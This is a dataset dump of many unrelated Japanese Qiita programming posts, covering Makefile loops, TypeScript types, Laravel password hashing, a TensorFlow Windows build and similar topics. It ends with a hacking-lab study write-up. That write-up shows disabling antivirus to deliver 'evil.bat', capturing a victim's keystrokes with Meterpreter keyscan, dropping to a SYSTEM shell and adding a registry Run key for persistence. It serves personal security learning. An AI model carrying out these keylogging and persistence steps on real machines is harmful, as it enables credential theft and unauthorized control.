OmniAICreator/Qiita-1.07M huggingface dataset:
Arduino Blink Without Delay millis() で Overflowing は発生しない？

#Blink Without Delay を使用している方へ

https://www.arduino.cc/en/Tutorial/BuiltInExamples/BlinkWithoutDelay

#オーバーフローが心配なので検証してみたけどエラーにはならない。

```c++
  int a = 100;
  unsigned long b = 4294967295; //unsigned long maximum value
  Serial.println(a - b);

```

#結果は、101になります。
#プログラム(Blink Without Delay)は正常に、動作すると思います。

#しかし、実際に50日以上で使用していません。
Makefileで数値の範囲でforループを回す（リストではなく）

Makefileのfor文ループを回したかったのでヤホーでググった所大体の記事では

```makefile:for_loop_with_list
$LIST := 1 2 3 4 5
loop :
    @for i in $LIST; do echo $$i; done
```

みたいにリストの中のメンバーを一巡するような例ばかりで意外にも`for (i=0; i<100; i++)`みたいな変数の値の範囲を指定したループのやり方を紹介している記事が殆ど無かった。やりたいのは1~100とか1~1000みたいに大きな値の範囲をループを回す事。なのでその範囲の数字を全部書き出すとかとてもじゃないけどやってられない。何かいい方法がある筈だと思って探していたら見つけたのでメモ代わりに以下に紹介しておく。

```makefile:for_loop_with_range_1
loop :
    @for i in {1..100}; do echo $$i; done
```
とシェルのブレース展開`{<start>..<end>}`を使用して範囲を指定するだけ。これだけなのだが意外にもこの方法を書いている人が殆どいなかった。ループ変数iはシェルに`$i`と言う文字列を渡したいのでエスケープ文字を追加して`$$i`とするのを注意。

但し特定のバージョンのmakeではこの方法は使えないみたい。
確認したmakeのバージョン
GNU Make 3.81 -> OK
GNU Make 4.1  -> NG
GNU Make 4.2.1 -> OK
makeと言うよりシェルの種類やバージョンの問題かも。でも4.1の環境でシェルターミナルで直接for文を打って確認したらちゃんと動いたのでやはりmake側の問題なのだろう。

シェルのブレース展開`{<start>..<end>}`を使用しない方法としてはシェルコマンドの`seq`を使う方法がある。

```makefile:for_loop_with_range_2
loop :
    @for i in `seq 100`; do echo $$i; done
```
```makefile:for_loop_with_range_3
loop :
    @for i in $(shell seq 100); do echo $$i; done
```
このseqを使った方法ではMake 3.81でも4.1でも4.2.1でも全てO.Kであった。
だけど個人的にはブレース展開の方が分かり易くて好きかな。

### 参考
- [bashのブレース展開についてまとめ](https://qiita.com/ine1127/items/6e5fe80f4a9c64509558)
- [bashで連番を生成する方法(ブレース展開)](https://qiita.com/laikuaut/items/642aa329a8d214a2cccb)
- [for 文の使用方法 | UNIX & Linux コマンド・シェルスクリプト リファレンス](https://shellscript.sunone.me/for.html)
- [【初心者向け】シェルスクリプトforの使い方（各種サンプル付き）](https://eng-entrance.com/linux-shellscript-for)
- [【シェルスクリプト】（繰り返し）for文 ](https://www.server-memo.net/shellscript/for.html)
ここが好きだよTypeScript

この記事は[Wanoグループアドベントカレンダー2020](https://qiita.com/advent-calendar/2020/wano-group)の17日目の記事となります。

こんにちは。アルファアーキテクト株式会社でエンジニアをやっています、stk0724です。(今月Wanoから転籍しました)

ここ一年ほどReact + TypeScriptで広告配信設定管理画面のリニューアルプロジェクトに携わっていたため、TypeScriptの好きなところを書いてみようと思います。(ちなみにバックエンドおじさんなので、フロントエンド専業の人から見るとおかしなことが書いてあるかもしれない。。。


## 交差型 (Intersection Type)

日本語でいうと、「XかつY」みたいなのを実現する仕組みですね。

コードで書くと以下のようなの。

``` typescript
type Hoge = {
  hoge: string
}

type Fuga = {
  fuga: string
}

type HogeFuga = Hoge & Fuga
```

上記の場合、HogeFugaはメンバーとして、hoge, fugaを持つ型となります。


### どういうときに使うと嬉しいのか？

メンバーが少しづつ異なる型を多数定義するときに使いました。

以下のような感じです。

``` typescript
type BaseState = {
  isLoading: boolean
  errorMessage: string
}

type VideoState = BaseState & {
  videoData?: VideoData
}

type ThumbnailState = BaseState & {
  thumbnailData?: ThumbnailData
}
```

似たりよったりのフォームがたくさんあるときに、共通項目をベースとなる型で定義しておいて、それを拡張するイメージです。

## リテラル型 (とユニオン型)

リテラル型は、JavaScriptのプリミティブな値を型として指定できるというものです。

例えば以下のようなやつ

``` typescript
const name: "stk0724" = "stk0724" //"stk0724"以外代入できない
```

上記の場合、コメントのとおり型に指定した文字列以外を代入できないため、使い所がありません。
しかし、ユニオン型と組み合わせると素敵なやつに様変わりします。

``` typescript
type WanoGroup = "Wano" | "EDO CODE" | "アルファアーキテクト" | "TuneCore Japan"
const company1: WanoGroup = "Wano"
const company2: WanoGroup = "EDO CODE"

function sayWanoGroup(company: WanoGroup) {
  console.log(company)
}

sayWanoGroup(company1)
sayWanoGroup(company2)
sayWanoGroup("アルファアーキテクト") //IDEなどで補完がきく
sayWanoGroup("サルファアーキテクト") //コンパイルエラー
```

ユニオン型は「XもしくはY」を表現する型です。
リテラル型とユニオン型を組み合わせると、特定の文字列のみを受け付ける型、特定の数値のみを受け付ける型などを表現することができます。

上記の例ですと、Wanoグループの社名のみを受け付けるWanoGroup型を定義しています。
そして、sayWanoGroup関数は引数にWanoGroupをとるので、条件を満たさない文字列を引数に指定するとコンパイルエラーになります。


### どういうときに使うと嬉しいのか？

関数の引数にプリミティブ値をとりたいけど、特定の値のみに絞りたい場合などですかね。
あとは単純にENUMの代わりに使うとか。


## Mapped Types

複雑な機能なので、説明は公式ドキュメントなどを参照してくだされ。。。

早い話が、既存の型を拡張して動的に型を定義する機能です。

``` typescript
type WanoGroupEmployeeCounts = {[P in WanoGroup]: number;}

const data: WanoGroupEmployeeCounts = {
  "wano": 1,
  "EDO CODE": 2,
  "アルファアーキテクト": 3,
  "TuneCore Japan": 4
}
```

上記の場合、WanoGroupEmployeeCountsは、WanoGroupのメンバをキー、値の型がnumberとなるオブジェクトを表現する型となります。


### どういうときに使うとうれしいのか

openapi-generator-cliで出力したモデルを拡張するときに使いました。
openapi-generator-cliで出力したモデルはinterfaceになっており、交差型でそのまま拡張することができなかったためです。

``` typescript
interface Hoge {
  frequency: number
  price: number
}

type HogeExtended = {[P in keyof Hoge]: Hoge[P];} & {
  frequencyString: string
  priceString: string
}
```

上記の場合、まずHogeのメンバーをkeyofで列挙してキーとし、値の型はHogeの対応するキーの値の型をそのままもってきています。
早い話が、interfaceをtypeに変換しています。そして、交差型を使ってメンバーを拡張しています。


## 終わり

だいたいTypeScriptの型システムの話ですね。

TypeScriptはいいんですが、バックエンドおじさんがAPI書きながら片手間でReact書くのは結構大変でした。(そしてまだリリースできていません。。。)

アルファアーキテクトではエンジニアを絶賛募集中です

- [Wantedly](https://www.wantedly.com/companies/alpha-architect)

## 参考リンク

- [TypeScript Deep Dive 日本語版](https://typescript-jp.gitbook.io/deep-dive/)
- [The TypeScript Handbook](https://www.typescriptlang.org/docs/handbook/intro.html)
備忘録　C#から見てのJavaとの違い

##　忘れないようにメモとして

#####C#から見てのJavaとの違い
●アクセス修飾子
internal　はJavaではなし？

●データ型を大きく分けて
値型　と　参照型
↓
Javaではプリミティブ型？

●定数を使う
const がc#

●文字列から数字に変換するメソッド
parseメソッド　変換後の型.parse(数字)

●数値を文字列、数字とする
Tostring 数値.Tostring(書式指定子)

●配列クリア
Array.Clearで配列をクリアできる。


```
例)
指定も可能　Array.Clear(array,1,2)

すべて　Array.Clear(array,0,array.length)
```


●配列コピー
Copy Toメソッド


```
例）ary1.CopyTo(ary2,0)
コピー元配列名　　　コピー先配列名
```

●Arrayの簡易コピー
Clone　メソッド


```
public  RasterImage Clone（）
```
Hash::make()でパスワード更新が行われずに１日かかった時の話

今回は、LaravelのHash::make()でパスワードの更新が行われずに**１日**かかってしまった時の話をします。

```php
public function update(Request $request)
    {
        $now = Carbon::now();  //現在の日時を取得
        $hased_password = Hash::make($request->updatePassword);  
 　　　　//パスワードをハッシュ値として生成
        $items = DB::table('users')->where('email', $request->email)->first();
        if (Hash::check($request->currentPassword, $items->password)) {
　 　　　//受け取ったパスワードとデータベースにあるパスワード(Hash値)が等しいかの確認
            $param = [
                'password' => $hased_password,
                'updated_at' => $now
            ];
            DB::table('users')->where('email', $items->email)->update($param);
　　　　　　  //usersテーブルにあるユーザーのパスワードを更新
            return response()->json([
                'message' => 'Password updated successfully',
                'data' => $param
            ], 200);
        } else {
            return response()->json([
                'message' => 'Password updated failure'
            ], 404);
        }
    }
```

```php
public function update(Request $request)
    {
        $now = Carbon::now();  
        $items = DB::table('users')->where('email', $request->email)->first();
        if (Hash::check($request->currentPassword, $items->password)) {
            $param = [
                'password' => Hash::make($request->updatePassword),
                'updated_at' => $now
            ];
            DB::table('users')->where('email', $items->email)->update($param);
            return response()->json([
                'message' => 'Password updated successfully',
                'data' => $param
            ], 200);
        } else {
            return response()->json([
                'message' => 'Password updated failure'
            ], 404);
        }
    }
```

皆さん、この２つのコードでなにが違うか分かりますか？

結論から言うと

**$hased_passwordを定義しているかどうかの違いだけです！**

ただ、これに気づいていなかった僕は同じ画面を１日ずっと見続けていました。

もう一度おさらいすると

```php
$hased_password = Hash::make($request->updatePassword);
// ～
$param = [
    'password' => $hased_password,
    'updated_at' => $now
];
```

こちらのコードはちゃんと値が更新されます。

```php
$param = [
    'password' => Hash::make($request->password),
    //実行結果：空の値（""）のHash値が設定される
    'updated_at' => $now
];

```

こっちではなぜか、`$request->password`の値がちゃんと受け取れていないようです。

なぜかは分からない、、、、

分かる人がいたら、ぜひコメントで教えていただけると幸いです。
Xcodeでビルドしようとすると「node: No such file or directory」と出る

# 概要

Xcodeでビルドしようとすると「node: No such file or directory」というエラーが出てビルドができなかった。

# 原因

nodenvでnodeのバージョン管理をしており、nodeのパスが通ってないことが原因。（nodebrewにて管理していても同様だと思う。）

# 解決方法

①nodeのパスを調べる

```
$ which node

/Users/user/.anyenv/envs/nodenv/shims/node
```

②Show the project navigator >> Build Phases を開く

③Bundle React Native code and images を以下に変更

```
export SENTRY_PROPERTIES=sentry.properties
export PATH=$HOME/.anyenv/envs/nodenv/shims:$PATH
export NODE_BINARY=node
../node_modules/@sentry/cli/bin/sentry-cli react-native xcode ../node_modules/react-native/scripts/react-native-xcode.sh
```

④Upload Debug Symbols to Sentry

```
export SENTRY_PROPERTIES=sentry.properties
export PATH=$HOME/.anyenv/envs/nodenv/shims:$PATH
../node_modules/@sentry/cli/bin/sentry-cli upload-dsym
```

⑤一度Cleanしてビルドし直す
rails db:reset 時にエラーが出た時の解決方法

## 内容
同じcsvファイルを複数回インポートしてしまい
`rails db:reset`を実行後ターミナル上でエラーが出される



## エラー内容
`PG::ObjectInUse: ERROR:  database "アプリ名_development" is being accessed by other users
DETAIL:  There is 1 other session using the database.`

## 解決策

エラー文を読み解いて意味が分かれば簡単ですね


`DETAIL:  There is 1 other session using the database.`

要約すると

`データベースを利用したユーザーが現在いる`
という意味になります。


ということなんで、
サーバーを一旦切ります！


```
control + c
```

そして再度行います。

```
rails db:reset


Dropped database 'アプリ名_development'
Dropped database 'アプリ名_test'
Created database 'アプリ名_development'
Created database 'アプリ名_test'
```


出来ましたね！

エラー文を検索して調べる以外にも、

google翻訳で一度英文調べるのも解決策の一つになりますね。
Node.jsでサーバーと通信

今回はNode.jsを利用してサーバーと通信をしていきたいと思います。Node.jsはインストールされているものとして話を進めていきたいと思います。
まずは、mkdir "フォルダ名"でフォルダを作成し、次に cd "フォルダ名"で作成したフォルダに移動します。そこで npm init を実行してフォルダに必要なものをインストールします。
続いて、npm install expressを実行してExpressモジュールを導入します。そしたら、javascriptファイル(今回はindex.js)を作成し、以下のコードを入力します。

```index.js
var express = require('express');
var app = express();
app.listen(8080);

app.get('/',function(req,res){
   res.send('Hello world!\n');
});
```
保存したら node index.jsを実行し、Webブラウザから http://localhost:8080にアクセスすると"Hello world!"と表示されてます。
ついでに、以下のコードを追加して

```index.js
app.get('/other',function(req,res){
   res.send('こんにちは\n');
});
```
http://localhost:8080/otherにアクセスすると
"こんにちは"と表示されてます。
Python de 対称群

#Python 3次対称群

プログラムはデフォルトだと0から数え始めるので，普段使う1からの表示にする関数を作った．

```python
from sympy.combinatorics import *
from sympy import *
init_printing(pretty_print=False)

SymmetricGroup(3)[1]
#Permutation(2)(0, 1)
```


```python
n = 3
def plusone(x):
    X = tuple([0])
    for i in range(n):
        a = tuple([tuple(x)[i] + 1])
        X = X + a
    return Permutation(tuple(X))
plusone(SymmetricGroup(3)[1])
#Permutation(3)(1, 2)
```

目標は5次対称群の積表．

次の記事：
[Python de 対称群 2 - Qiita](https://qiita.com/Krypf/items/5929bfe1980e7f4dcf0a)
覚書　VB　TreeViewでエクスプローラー風ビューアを作ろうと思う（その1）

昔からオペレーションや手順を覚えるのが苦手で
メモ鉄などを使っていたが、開発も止まってエクスプローラーを使っていたけどオペレーション覚えない他人に聞かれること多数。
結局いない間にPCいじられて「手が滑った」らしく該当の手順を探す作業が発生。
メモ鉄のようなエディタではなくてオペレーションに特化したビューアを作ってみたくなりました。
C#で似たようなことをしている人が多いのですが、VBで気軽にやってみたいと思いググるとだいぶ過去に似たような質問をしているスレッドがあり、サンプルが載っていたので自分なりに作っていきたいと思います。
Form1とTreeView1をForm1デザインで張り付け、
下記のサンプルプログラムを解釈しながら改変しました。


	Public Class Form1
	    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
			'作成されたexeのフォルダを指定（アクセス権がないディレクトリを指定するとエラーになる）
	        Dim s As String = ".\"
	        trViewSet(s, TreeView1.Nodes.Add(s))
	
	    End Sub
	
	
	    'treeView表示項目セット
	    Private Sub trViewSet(ByVal path As String, ByVal node As TreeNode)
	        'DirectoryInfoはSystem.IOの部品であるためInport System.IOを付けるとよいが学習のためにいちいち書く
	
	        Dim folder As System.IO.DirectoryInfo = New System.IO.DirectoryInfo(path)
	        Dim subfolders() As System.IO.DirectoryInfo = folder.GetDirectories()
	        Dim subfolder As System.IO.DirectoryInfo
	
			'サブフォルダやフォルダは以下のファイルをTreeViewに追加
	        For Each subfolder In subfolders
	            Dim subnode As TreeNode = node.Nodes.Add(subfolder.Name)
	            trViewSet(subfolder.FullName, subnode)
	        Next
	        Dim files() As System.IO.FileInfo = folder.GetFiles()
	        Dim file As System.IO.FileInfo
	        For Each file In files
	            node.Nodes.Add(file.Name)
	        Next
	    End Sub
	
		'TreeViewのノードをクリックするとメッセージボックスが表示される
	    Private Sub TreeView1_AfterSelect(ByVal sender As Object, ByVal e As System.Windows.Forms.TreeViewEventArgs) Handles TreeView1.AfterSelect
	        MsgBox(e.Node.FullPath)
	    End Sub
	
	
	End Class

ファイル名別にアイコンを変えたりファイル名順にソートしたりやることはいろいろあるけど今日はここまでにします。
機械学習を用いたカラーイラスト線画の自動生成

#初めに(^ω^)
絵が描けると何かとはかどりますよね。絵が描ける人間になってみたいと思ったのですが、無理だったので自動で作れるAIを作成してみました。難しかったですが、楽しかったのでうれしかったです。
#作成したソースコード
```python

#-----------------------------------------
#線画の自動生成
#-----------------------------------------
import numpy as np
import cv2

#保存先指定
file = './text11.txt'

#カラーで読み込み
img = cv2.imread('./shigure.png')
#グレースケールで読み込み
img2 = cv2.imread('./shigure.png',0)

#Numy配列に保存
im = np.array(img2)

#閾値設定による二値化処理
Threshold = 120
im[im < Threshold] = 0
im[im >= Threshold] = 255

#特徴量フィルター生成
#フィルター１
kernel = np.array([[0, -1, 0],
                   [-1, 4, -1],
                   [0, -1, 0]], dtype=np.uint8)

#膨張処理
dilation = cv2.dilate(im, kernel, iterations = 1)

#差分処理(膨張処理を行ったデータからグレースケール画像を引く)
Difference = dilation - im

#色反転
Difference[:, :] = 255 - Difference[:, :]

#テキスト出力
np.savetxt(file, Difference, fmt="%0.0f", delimiter=",")

#出力
print (Difference)

#画像出力
cv2.imwrite('./Difference.png', Difference)
```
#コード解説
##コード実行結果
元画像
![shigure.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/515390/97e630a3-413b-2885-a993-8a6a2c041061.png)

線画画像
![Difference.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/515390/4bb74761-6ed5-ee40-2053-3c9c4fdbb567.png)

元画像
![ダウンロード.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/515390/63b68079-8931-4a06-221e-225ebe2a9de6.png)

線画画像
![hoge.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/515390/a2beeeff-26d8-c366-adb7-c28aa8452b74.png)

##コード解説あれこれ
###特徴量フィルター生成
```python
#特徴量フィルター生成
#フィルター１
kernel = np.array([[0, -1, 0],
                   [-1, 4, -1],
                   [0, -1, 0]], dtype=np.uint8)
```
　フィルターの生成を行っています。中身の数字をいろいろいじってみると面白いかも

###膨張処理
```python
#膨張処理
dilation = cv2.dilate(im, kernel, iterations = 1)
```
　線の部分を太くしています。前景物体を膨張！
###差分処理
```python
#差分処理(膨張処理を行ったデータからグレースケール画像を引く)
Difference = dilation - im
```
差分処理したことによって線画が浮き出ますね！

#参考文献
[OpenCV-Pythonチュートリアルドキュメント](http://labs.eecs.tottori-u.ac.jp/sd/Member/oyamada/OpenCV/html/index.html)
#目次のようなもの
[Re：ゼロから始める機械学習生活（深層学習もあるよ）](https://qiita.com/KengoKudou/items/0973ee8f98315460b195)
ここに進捗状況等を載せてます。
今まで書いたものを一覧にしていたりするので見てみてください！
【Java】Stream API を使ってListを操作する方法

# Stream API とは？

`Stream API `は Java8 で導入された機能です。配列やCollectionなどの集合体を扱う為のもので、
値の集計やデータを使った処理などが出来る便利なAPIです。
Streamを用いる事で、拡張for文を簡略化することが出来ます。

# Streamの使い方

### 各要素の数をカウントする(count)

```java
public class Sample {
	public static void main(String[] args) {

		List<String> JS = new ArrayList<>(Arrays.asList("Vue", "React", "Angular"));

		long count = JS.stream().count();
		System.out.println(count); // 3
	}
}
```

### 各要素を条件で判定して抽出する(filter)

以下は、"Angular"を取り除いてリストを表示する処理です。

```java
public class Sample {
	public static void main(String[] args) {

		List<String> JS = new ArrayList<>(Arrays.asList("Vue", "React", "Angular"));

        JS.stream()
        .filter(s -> !s.equals("Angular"))
        .forEach(System.out::println); // Vue React
	}
}
```

### 要素を並び替える(sorted)

2つ目のsortedメソッドは、引数にComparatorインターフェースのreverseOrderメソッドを指定している為、降順になります。

```java
public class Sample {
	public static void main(String[] args) {

	    List<String> JS = new ArrayList<>(Arrays.asList("Vue", "React", "Angular"));

		JS.stream()
			.sorted() // 引数を渡していないため昇順になる
			.forEach(System.out::println); // Angular React Vue

		JS.stream()
			.sorted(Comparator.reverseOrder()) // 降順になる
			.forEach(System.out::println); // Vue React Angular
	}
}
```

### 要素の条件が全て一致するか(allMatch)

`allMatch`メソッドは全て一致すれば `true`を返します。

```java
public class Sample {
	public static void main(String[] args) {

		List<Integer> num1 = new ArrayList<>(Arrays.asList(10,38,3));

        boolean a = num1.stream()
        		.allMatch(b -> b > 10); //すべての要素は10より大きいか
        System.out.println(a); //false

        boolean c = num1.stream()
        		.allMatch(d -> d > 1); //すべての要素は1より大きいか
        System.out.println(c); //true
	}
}
```

### 要素の条件が１つでも一致するか(anyMatch)

`anyMatch`メソッドは 1 つでも一致すれば true を返します。

```java
public class Sample {
	public static void main(String[] args) {

		List<Integer> num1 = new ArrayList<>(Arrays.asList(10,38,3));

        boolean a = num1.stream()
        		.anyMatch(b -> b > 40); //40より大きい要素はあるか
        System.out.println(a); //false

        boolean c = num1.stream()
        		.anyMatch(d -> d > 30); //30より大きい要素はあるか
        System.out.println(c); //true
	}
}
```

### 要素の条件が一致するものは１つもないか(noneMatch)

`noneMatch`メソッドは一致が 1つもない場合に `true`を返します。

```java
public class Sample {
	public static void main(String[] args) {

		List<Integer> num1 = new ArrayList<>(Arrays.asList(10,38,3));

        boolean a = num1.stream()
        		.noneMatch(b -> b > 7); //7より大きい要素はひとつもないか
        System.out.println(a); //false

        boolean c = num1.stream()
        		.noneMatch(d -> d > 40); //40より大きい要素はひとつもないか
        System.out.println(c); //true
	}
}
```

# 参照
[Interface Stream](https://docs.oracle.com/javase/jp/8/docs/api/java/util/stream/Stream.html)
[Java8 StreamAPI](https://qiita.com/megmogmog1965/items/0b57223f223417aad637)
【Vue.js】form-inputとmethods処理の連携

#結論
```vue
<template>
  <form @submit.prevent="goForm">
    <input type="text" name="user_id" placeholder="ユーザーID" v-model="user_id" required/>
    <input type="password" name="password" placeholder="パスワード" v-model="password" required/>
    <button name="submit" value="Login" type="submit">Login</button>
  </form>
</template>
<script>
  export default {
    data(){
      return {
        user_id: '',
        password: '',
      }
    },
    methods: {
      goForm(){
        this.user_id = "";
        this.password = "";
        console.log("submit");
      }
    }
  }
</script>
```
【Stripe】急に決済時にエラー出た時の解決例。(You did not set a valid publishable key. Call Stripe.setPublishableKey() with your publishable key. For more info, see https://stripe.com/docs/stripe.js)

###環境
Laravel 7.x
Ubuntu 18.04

---
###エラー内容

```
You did not set a valid publishable key. Call Stripe.setPublishableKey()
 with your publishable key. For more info, see https://stripe.com/docs/stripe.js
```

Stripeの決済を走らせようとして、フォームに情報入力後、『よし決済するぞー』 "ポチッ"

上のエラー出てきたーしかも丁寧にフロント側にjsで。

#####今まで普通に決済できてたのに!?!?!?!!?!
※急にできなくなった。



---
###解決方法

```
Laravelプロジェクトのディレクトリーから

php artisan config:clear

もしくは、
cd bootstrap/cache/
sudo rm -r config.php
```

これでエラー消えた！！


---
###そもそもなんで急にエラー出たのか？

```
php artisan config:cache
```
↑のコマンド打ったからだ。。。


###解説
.envファイルは一度ロードされてキャッシュされるとenvヘルパー関数を実行しても値はNULLになり画面にはなにも表示されません。その場合はphp artisan config:clearを実行してください。
※envヘルパー関数= env()...etc

---
envファイルについて理解する
↓参考
https://reffect.co.jp/laravel/env-file-basic-understanding
AWS SQSの性能を引出すチューニングポイント (ロングポーリングにする & 並行処理で受信 & バッチサイズは10)


## 前提 & 注意

__2020年12月時点__のAmazon SQSの仕様に基づいた筆者の観点から判断した内容です。

# TL;DR

* ショートポーリングではなく__ロングポーリング(20秒)__にしよう
* 受信側では並行処理対応しよう
* 受信バッチサイズは最大値の10にしよう

**できるだけMessageReceiveのSQS API(受信API)を叩く回数を少なくすることで送信されたメッセージを効率良く受信することが性能を引き出すポイントになります**。

# 【ポイント1】 ロングポーリングにしよう

今回の検証の結果、ロングポーリングの方が(同負荷時のレイテンシーが)ショートポーリングより1.5倍ほど良いと出ました。

AWS公式でもロングポーリングを推奨しており、パフォーマンスも料金コストも両方優れているよ、とあるのでその通りのようです。

ロングポーリングの設定は1秒から20秒まで選べますが、システムが問題なく動作する限り__20秒一択__で良いとわかりました。

AWSコンソール上から作成するとショートポーリングがデフォルトなので注意が必要です。

## じゃあいつショートポーリングが必要になる？

複数のSQSから受信するプログラムが1スレッドで動くようなシステム構成の場合は1つのキューでのみ待ちになるため、ショートポーリングを選択する必要があります。

詳細は、[【公式】SQS よくある質問](https://aws.amazon.com/jp/sqs/faqs/) を参照。

# 【ポイント2】 受信側は複数スレッドで処理した方がスループットがよくなる

これは自明ですが、検証の結果でも、複数スレッド(Goのgoroutineを利用)で対応した方が性能が良くなると出ました。可能ならば並行処理で受信するとパフォーマンスが上がります。[^1]

[^1]: Randomキューの場合は順序と重複の担保をしないため、後続のシステムが冪等性を保てるかの考慮が必要になります。

# 【ポイント3】 メッセージ受信のバッチサイズは最大値の10にしよう

SQSメッセージ受信において送信に対して受信リクエストが過度な場合、受信側の性能においてボトルネックになります。

できる限り少ない受信リクエスト数にすることが必要であり、そのために[受信バッチサイズ](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_ReceiveMessage.html#:~:text=Required%3A%20No-,MaxNumberOfMessages,-The%20maximum%20number)は最大値の10にすることが望ましいです。

https://aws.amazon.com/blogs/compute/solving-complex-ordering-challenges-with-amazon-sqs-fifo-queues/
【Ruby】条件分岐で得られる結果を変数に代入して引数に入れ込みたい時


Before


```rb
    if planner_admins.any? {|planner_admin| planner_admin.ad?}
      admins = [Admin.get_invoice_viewer]
    else
      admins = planner_admins
    end
    SlackNoticeService.notice_invoice_viewer(@confirm, sponsor, admins)
```

After

```rb

    admins = if planner_admins.any? {|planner_admin| planner_admin.ad?}
               [Admin.get_invoice_viewer]
             else
               planner_admins
             end
    SlackNoticeService.notice_invoice_viewer(@confirm, sponsor, admins)
```
TensorFlow 2.4.0のビルド手順（Windows10, CUDA11.1.1, cuDNN 8.0.5, Python 3.8.6）

2020/12/17時点でのTensorFlow 2.4.0のビルド方法の概要を残しておきます。

Numpyは最新の1.19.4だと、Windows環境でimportするだけでエラーになるので、1つ前の`1.19.3`を使用します。（これはWindows側の問題で、2021年1月くらいに修正される予定らしいです）

## 環境情報

ビルドに利用した環境です。CUDAやcuDNNのフォルダなど、事前にパスを通した状態になっています。

* Windows 10 Pro 20H2 (64bit)
* Visual Studio Community 2019 Ver 16.8.2
* Python 3.8.6（3.9.0を使うとwheelパッケージインストール時にエラーになります）
* MSYS2（`pacman -S git patch unzip` で必要なパッケージを導入済み）
* Bazel 3.7.1 （3.1.0以上のバージョンを使う必要あり）
* CUDA 11.1.1
* cuDNN 8.0.5.39

## ビルド用のフォルダ構成など

今回は`S:\build\build_tf240` フォルダ配下にTensorFlowのソースコードをダウンロードしてビルドしています。Pythonの仮想環境も、TensorFlowビルド用に用意します。

```powershell
S:/build/build_tf240  # 作業フォルダRoot
 + tensorflow  # gitで取得してくるソースコード
 + venv        # Python仮想環境
 + wheelhouse  # 作成したwhlファイルを格納するフォルダ
```

## ビルド手順

`x64 Native Tools Command Prompt for VS 2019` を起動して以下の手順でビルドを行います。

```powershell
# 仮想環境を作成して有効化する
python -m venv s:\build\build_tf240\venv
cd /d s:\build\build_tf240
.\venv\Scripts\activate.bat

# 必要なパッケージのインストール
# 注意：Numpyは最新の1.19.4を使うとエラーになるので1.19.3を使用（利用時もNumpy 1.19.3を使用すること）
python -m pip install --upgrade pip setuptools
pip install numpy==1.19.3
pip install six wheel
pip install keras_applications==1.0.8 --no-deps
pip install keras_preprocessing==1.1.2 --no-deps

# ソースコード取得（v2.4.0のタグ指定）
git clone -b v2.4.0 https://github.com/tensorflow/tensorflow.git
cd tensorflow

# 環境によってはコマンドのパラメーターが長くなりすぎてエラーになるので不要な環境変数を削除
set _OLD_VIRTUAL_PATH=

# ビルド構成の設定
# CUDA support: Y
# CUDA compute capabilities: 7.5 （利用環境に合わせて変更）
# Optimization: /arch:AVX2 （利用環境に合わせて変更）
# それ以外はデフォルト設定（Enter）
python ./configure.py

# ビルド
# TensorFlow 2.3.x+CUDA11の場合は「DTHRUST_IGNORE_CUB_VERSION_CHECK」のおまじない（CUB互換チェックのスキップ）が必要だったが2.4.xは不要
bazel build --config=opt --config=avx2_win --config=short_logs --config=cuda --define=no_tensorflow_py_deps=true --copt=-nvcc_options=disable-warnings //tensorflow/tools/pip_package:build_pip_package

# パッケージの作成（wheelhouseフォルダにパッケージを作成）
# 数分間画面が更新されないので心配になりますが、きちんと処理されているのでしばらく待ちましょう
bazel-bin\tensorflow\tools\pip_package\build_pip_package ..\wheelhouse
```

これで完了です。
なおビルドに使用したbazelの中間ファイル等は`%UserProfile%\_bazel_%UserName%`フォルダに作成され、容量も20GB近くになるので、不要であれば削除しても問題ありません。Bazelが起動していると削除できないので、その場合はコマンドプロンプトで`bazel shutdown`として、Bazelを終了してから削除してください。

作成したTensorFlowのwheelパッケージを利用する際は、`pip install numpy==1.19.3`という感じでTensorFlowよりも先にNumpyをバージョン指定で導入しておくことをおすすめします。最新のNumpy 1.19.4は2020/12/17時点では利用できません。
ハッキング・ラボのつくりかたで学んだこと


#目次

１、はじめに
２、環境
３、構築で詰まったこと
４、実施したこと
５、おわりに
６、参考資料



#１、はじめに

[ハッキング・ラボのつくりかた](https://www.shoeisha.co.jp/book/detail/9784798155302)を行いました。
構築／学習で行ったことや詰まったところを紹介します。
詳細は、書籍をご参照ください。


#２、環境

ホストOS：Windows10 Home
VirtualBox：6.0.16
ゲストOS（Linux）：Kali Linux(2020.1) VirtulBox 64-bit版
ゲストOS（Windows）：Windows10（May 2020 Update）


#３、構築

構築については、実施手順を紹介すると長くなるため、詰まったところを紹介します。
下記の②～④に関しては、できていなくても実施に問題ないため、詰まったら飛ばしていいかもしれません。

###①ログイン時
Kali Linux(2020.1)ではrootにパスワードが設定されていないため、ログインできません。
kali/kaliでログイン可能です。

###②Linuxの設定について
Settings画面が異なるため、詰まりやすいです。
左上のKaliマークから検索します。
・画面設定→「Display」
・電源設定→「Xfce Power Manager」
・キーボード→「Keyboard」

###③タイムゾーンについて
別で設定します。
右上の時刻「HH:SS PM」をクリック→「Properties」→「Clock」
→「Timezone」に「Asia/Tokyo」を入力

###④日本語入力について
パッケージインストール前に「apt update」「apt upgrade」の実施が必要です。
また、インストール後に適用が必要です。
「sudo dpkg-reconfigure locales」→「ja_JP.UTF-8」の場所でスペースキーを押す
→「*」がつく→Enterキー「ja_JP.UTF-8」を選択してEnterキー→再起動

###⑤IPアドレスを確認する際
ifconfigを使用できません。
「ip addr show」を使用します。
ルーティング確認時は、「ip route show」で行います。


#４、実施したこと
まず、Windows10に侵入する。
ゲストのWindowsにて、リアルタイムスキャンを使用していると、「evil.bat」を入手できないため、停止しておく。


###①キーロガー取得
Linux側でキースキャンをスタートします。

```
meterpreter > keyscan_start
Starting the keystroke sniffer ...
```

Windows側で下記のように入力します。

```
password

pcuser 1234
```

Linux側でdumpします。
下記のような形で結果が出ます。

```
meterpreter > keyscan_dump
Dumping captured keystrokes...
password<CR>
<CR>
pcuser 1234<^S>

meterpreter > 
```

###②コマンドプロンプト操作
以下のコマンドからコマンドプロンプトに入ります。

```
meterpreter > shell
```

システム権限でコマンドプロンプトに入れば、何でもできます。
例えば、Webサイトや動画の再生を行うならば、以下のコマンドです。

```
C:\Windows\system32>start https://xxx.xxx.xxx/
C:\Windows\system32>start xxx.mp4
```

###③レジストリの変更
Windowsのログイン時にInternetExplorerを起動するように設定します。
「HKLM\\software\\microsoft\\windows\\currentversion\\run」に「explorer.exe」を設定します。

